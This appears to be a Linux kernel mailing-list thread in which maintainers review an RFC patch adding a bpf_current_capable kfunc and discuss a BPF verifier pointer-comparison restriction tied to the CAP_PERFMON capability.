bpf: Add a new kfunc bpf_current_capable
Subsystems (7)
cover bpf: Add a new kfunc bpf_current_capable
Add a new kfunc bpf_current_capable to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to verify if the user operation is permitted based on our security policy.
Yafang Shao (2):
bpf: Add bpf_current_capable kfunc selftests/bpf: Add selftest for bpf_current_capable
kernel/bpf/helpers.c | 6 ++ .../selftests/bpf/prog_tests/bpf_current_cap.c | 80 ++++++++++++++++++++++ .../selftests/bpf/progs/test_bpf_current_cap.c | 37 ++++++++++ 3 files changed, 123 insertions(+) create mode 100644 tools/testing/selftests/bpf/prog_tests/bpf_current_cap.c create mode 100644 tools/testing/selftests/bpf/progs/test_bpf_current_cap.c
Signature · 1 line
1.8.3.1
RFC PATCH 1/2 bpf: Add bpf_current_capable kfunc
Add a new bpf_current_capable kfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.
--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)
kernel/bpf/helpers.c +6 -0
@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); } +__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +} +__diag_pop ();BTF_SET8_START (generic_btf_ids)
@@ -2456,6 +2461,7 @@ __bpf_kfunc void bpf_rcu_read_unlock(void) BTF_ID_FLAGS(func, bpf_task_under_cgroup, KF_RCU)#endif BTF_ID_FLAGS(func, bpf_task_from_pid, KF_ACQUIRE | KF_RET_NULL) +BTF_ID_FLAGS(func, bpf_current_capable, KF_RCU)BTF_SET8_END (generic_btf_ids) static const struct btf_kfunc_id_set generic_kfunc_set = {
Signature · 1 line
1.8.3.1
Yonghong Song
reviewerRe: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 14 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 7 lines
kernel/bpf/helpers.c +4
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); } +__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}
Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
Quoted 12 lines
kernel/bpf/helpers.c +2
-0+__diag_pop ();BTF_SET8_START (generic_btf_ids)@@ -2456,6 +2461,7 @@ __bpf_kfunc void bpf_rcu_read_unlock(void) BTF_ID_FLAGS(func, bpf_task_under_cgroup, KF_RCU)#endif BTF_ID_FLAGS(func, bpf_task_from_pid, KF_ACQUIRE | KF_RET_NULL) +BTF_ID_FLAGS(func, bpf_current_capable, KF_RCU)BTF_SET8_END (generic_btf_ids) static const struct btf_kfunc_id_set generic_kfunc_set = {
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }
Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from CAP_SYS_ADMIN to CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, because allow_ptr_leaks is enabled only when CAP_PERFMON is set. However, if we enable the CAP_PERFMON for the networking bpf program, it can run tracing bpf prog, perf_event bpf prog and etc, that is not expected by us.
Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has cap_net_admin, cap_bpf and cap_perfmon but don't have cap_sys_admin we will refuse it to run tracing and perf_event bpf program. While if a process has cap_bpf and cap_perfmon but doesn't have cap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.
We can't use lsm_cgroup because it is supported on cgroup2 only, while we're still using cgroup1.
Another possible solution is enable allow_ptr_leaks for cap_net_admin as well, but after I checked the commit which introduces the cap_bpf and cap_perfmon [1], I think we wouldn't like to do it.
[1]. https://lore.kernel.org/bpf/[email protected]/
Signature · 2 lines
Regards Yafang
Yonghong Song
reviewerRe: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 38 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 5 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
Quoted 7 lines
Quoted 3 lines
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, because
Could you give a reproducible test case for this verifier failure with CAP_BPF+CAP_NET_ADMIN capability? Is this due to packet pointer or something else? Maybe verifier needs to be improved in these cases without violating the promise of allow_ptr_leaks?
Quoted 21 lines
allow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 46 lines · Yonghong Song
Quoted 42 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
Quoted 8 lines
Quoted 3 lines
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseCould you give a reproducible test case for this verifier failure with CAP_BPF+CAP_NET_ADMIN capability? Is this due to packet pointer or something else? Maybe verifier needs to be improved in these cases without violating the promise of
allow_ptr_leaks?
Here it is.
SEC("cls-ingress")
int ingress(struct __sk_buff *skb)
{
struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr);
if ((long)(iph + 1) > (long)skb->data_end)
return TC_ACT_STOLEN;
return TC_ACT_OK;
}In this bpf prog, it will compare the pointer iph with skb->data_end, and thus it will fail the verifier.
Signature · 2 lines
Regards Yafang
Yonghong Song
reviewerRe: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 68 lines · Yafang Shao
Quoted 46 lines · Yonghong Song
Quoted 42 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
Quoted 8 lines
Quoted 3 lines
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseCould you give a reproducible test case for this verifier failure with CAP_BPF+CAP_NET_ADMIN capability? Is this due to packet pointer or something else? Maybe verifier needs to be improved in these cases without violating the promise of
allow_ptr_leaks?Here it is.
SEC("cls-ingress")
intingress(struct __sk_buff *skb){ struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr); if ((long)(iph + 1) > (long)skb->data_end) return TC_ACT_STOLEN; return TC_ACT_OK; }
Quoted 2 lines
In this bpf prog, it will compare the pointer iph with
skb->data_end, and thus it will fail the verifier.
Thanks. In this particular case, I think comparing packet ptr and data_end should not be considered as ptr_leaks. Probably Alexei and Daniel can comment on this too.
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
In reply to Yafang ShaoQuoted 59 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.
Quoted 6 lines
We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.
Sorry. None of these options are acceptable.
The idea of introducing a bpf_current_capable() kfunc just to work around a deficiency in the verifier is not sound.
Next time instead of sending patch please describe the issue first. You should have started with an email that:
struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr);
if ((long)(iph + 1) > (long)skb->data_end)needs cap_perfmon.
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 64 lines · Alexei Starovoitov
Quoted 62 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.
Quoted 8 lines
Quoted 3 lines
Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.
So what should we do then?
Just enabling the cap_perfmon for it? That does not sound as well ...
Quoted 7 lines
Next time instead of sending patch please describe the issue first. You should have started with an email that:
struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr); if ((long)(iph + 1) > (long)skb->data_end)needs
cap_perfmon.
Got it. Thanks for your explanation.
Signature · 2 lines
Regards Yafang
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 71 lines · Yafang Shao
Quoted 68 lines · Alexei Starovoitov
Quoted 65 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.
Quoted 7 lines
Quoted 4 lines
Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.So what should we do then?
Just enabling thecap_perfmonfor it? That does not sound as well ...
Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg],
this_branch, other_branch) &&
is_pointer_value(env, insn->dst_reg)) {
verbose(env, "R%d pointer comparison prohibited\n",
insn->dst_reg);
return -EACCES;
}It's not clear why it doesn't address your case. That's what we should be discussing and debugging instead of arguing about bpf_current_capable and similar "solutions".
Quoted 13 lines
Quoted 7 lines
Next time instead of sending patch please describe the issue first. You should have started with an email that:
struct iphdr *iph = (void *)(long)skb->data + sizeof(struct ethhdr); if ((long)(iph + 1) > (long)skb->data_end)needs
cap_perfmon.Got it. Thanks for your explanation.
--
Regards
Yafang
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 92 lines · Alexei Starovoitov
Quoted 71 lines · Yafang Shao
Quoted 68 lines · Alexei Starovoitov
Quoted 65 lines · Yafang Shao
Quoted 21 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 8 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.Quoted 7 lines
Quoted 4 lines
Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.So what should we do then?
Just enabling thecap_perfmonfor it? That does not sound as well ...Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; }
Quoted 1 line
It's not clear why it doesn't address your case.
It can address the issue.
It seems we should do the code change below.
kernel/bpf/verifier.c +0 -0
@@ -13819,6 +13819,18 @@ static int check_cond_jmp_op(struct
bpf_verifier_env *env,
return -EINVAL;
}+ other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx,
+ false);
+ if (!other_branch)
+ return -EFAULT;
+
+ /* check src2 operand */ + err = check_reg_arg(env, insn->dst_reg, SRC_OP); + if (err)
+ return err;
+
+ dst_reg = ®s[insn->dst_reg];
+
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0) {
verbose(env, "BPF_JMP/JMP32 uses reserved fields\n");
@@ -13830,7 +13842,9 @@ static int check_cond_jmp_op(struct
bpf_verifier_env *env,
if (err)
return err;- if (is_pointer_value(env, insn->src_reg)) {
+ if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg],
+ this_branch, other_branch) &&
+ is_pointer_value(env, insn->src_reg)) {
verbose(env, "R%d pointer comparison prohibited\n",
insn->src_reg);
return -EACCES;
@@ -13843,12 +13857,6 @@ static int check_cond_jmp_op(struct
bpf_verifier_env *env,
}
}- /* check src2 operand */
- err = check_reg_arg(env, insn->dst_reg, SRC_OP);
- if (err)
- return err;
-
- dst_reg = ®s[insn->dst_reg];
is_jmp32 = BPF_CLASS(insn->code) == BPF_JMP32;
if (BPF_SRC(insn->code) == BPF_K) {
@@ -13920,10 +13928,6 @@ static int check_cond_jmp_op(struct
bpf_verifier_env *env,
return 0;
}- other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx,
- false);
- if (!other_branch)
- return -EFAULT;
other_branch_regs = other_branch->frame[other_branch->curframe]->regs;
/* detect if we are comparing against a constant value so we can adjustSignature · 2 lines
Regards Yafang
Daniel Borkmann
maintainerRe: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 86 lines · Yafang Shao
Quoted 84 lines · Alexei Starovoitov
Quoted 64 lines · Yafang Shao
Quoted 62 lines · Alexei Starovoitov
Quoted 60 lines · Yafang Shao
Quoted 18 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 7 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
lsm_cgroupbecause it is supported on cgroup2 only, while we're still using cgroup1.Another possible solution is enable
allow_ptr_leaksforcap_net_adminas well, but after I checked the commit which introduces thecap_bpfandcap_perfmon[1], I think we wouldn't like to do it.Quoted 7 lines
Quoted 4 lines
Sorry. None of these options are acceptable.
The idea of introducing a
bpf_current_capable()kfunc just to work around a deficiency in the verifier is not sound.So what should we do then?
Just enabling thecap_perfmonfor it? That does not sound as well ...Yonghong already pointed out upthread that comparison of two packet pointers is not a pointer leak. See this code:
} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; }
Quoted 4 lines
Quoted 1 line
It's not clear why it doesn't address your case.
It can address the issue.
It seems we should do the code change below.
I presume in your actual program you also access the IP header (otherwise it would be quite useless), and as you mentioned above, you would like this to be accessible for just CAP_BPF + CAP_NET_ADMIN. The CAP_PERFMON restriction is there for a reason, that is, to be on same cap level as tracing programs as you could craft Spectre v1 style access. It's not a deficiency.
Thanks,
Daniel
Re: [RFC PATCH bpf-next 1/2] bpf: Add bpf_current_capable kfunc
Quoted 90 lines · Daniel Borkmann
Quoted 88 lines · Yafang Shao
Quoted 85 lines · Alexei Starovoitov
Quoted 64 lines · Yafang Shao
Quoted 62 lines · Alexei Starovoitov
Quoted 60 lines · Yafang Shao
Quoted 18 lines · Yonghong Song
Quoted 17 lines · Yafang Shao
Add a new
bpf_current_capablekfunc to check whether the current task has a specific capability. In our use case, we will use it in a lsm bpf program to help identify if the user operation is permitted.Signed-off-by Yafang Shao <[email protected]>--- kernel/bpf/helpers.c | 6 ++++++ 1 file changed, 6 insertions(+)kernel/bpf/helpers.c +0
-0@@ -2429,6 +2429,11 @@ __bpf_kfunc void bpf_rcu_read_unlock(void)rcu_read_unlock (); }Quoted 8 lines
kernel/bpf/helpers.c __bpf_kfunc void bpf_rcu_read_unlock(void) · line 2435
Quoted 4 lines
kernel/bpf/helpers.c +4
-0+__bpf_kfunc bool bpf_current_capable(int cap) +{ +return has_capability (current, cap); +}Since you are testing against 'current' capabilities, I assume that the context should be process. Otherwise, you are testing against random task which does not make much sense.
It is in the process context.
Quoted 7 lines
Since you are testing against 'current' cap, and if the capability for that task is stable, you do not need this kfunc. You can test cap in user space and pass it into the bpf program.
But if the cap for your process may change in the middle of run, then you indeed need bpf prog to test capability in real time. Is this your use case and could you describe in in more detail?
After we convert the capability of our networking bpf program from
CAP_SYS_ADMINto CAP_BPF+CAP_NET_ADMIN to enhance the security, we encountered the "pointer comparison prohibited" error, becauseallow_ptr_leaksis enabled only whenCAP_PERFMONis set. However, if we enable theCAP_PERFMONfor the networking bpf program, it can run tracing bpf prog,perf_eventbpf prog and etc, that is not expected by us.Hence we are planning to use a lsm bpf program to disallow it from running other bpf programs. In our lsm bpf program we will check the capability of processes, if the process has
cap_net_admin,cap_bpfandcap_perfmonbut don't havecap_sys_adminwe will refuse it to run tracing andperf_eventbpf program. While if a process hascap_bpfandcap_perfmonbut doesn't havecap_net_admin, that said it is a bpf program which wants to run trace bpf, we will allow it.We can't use
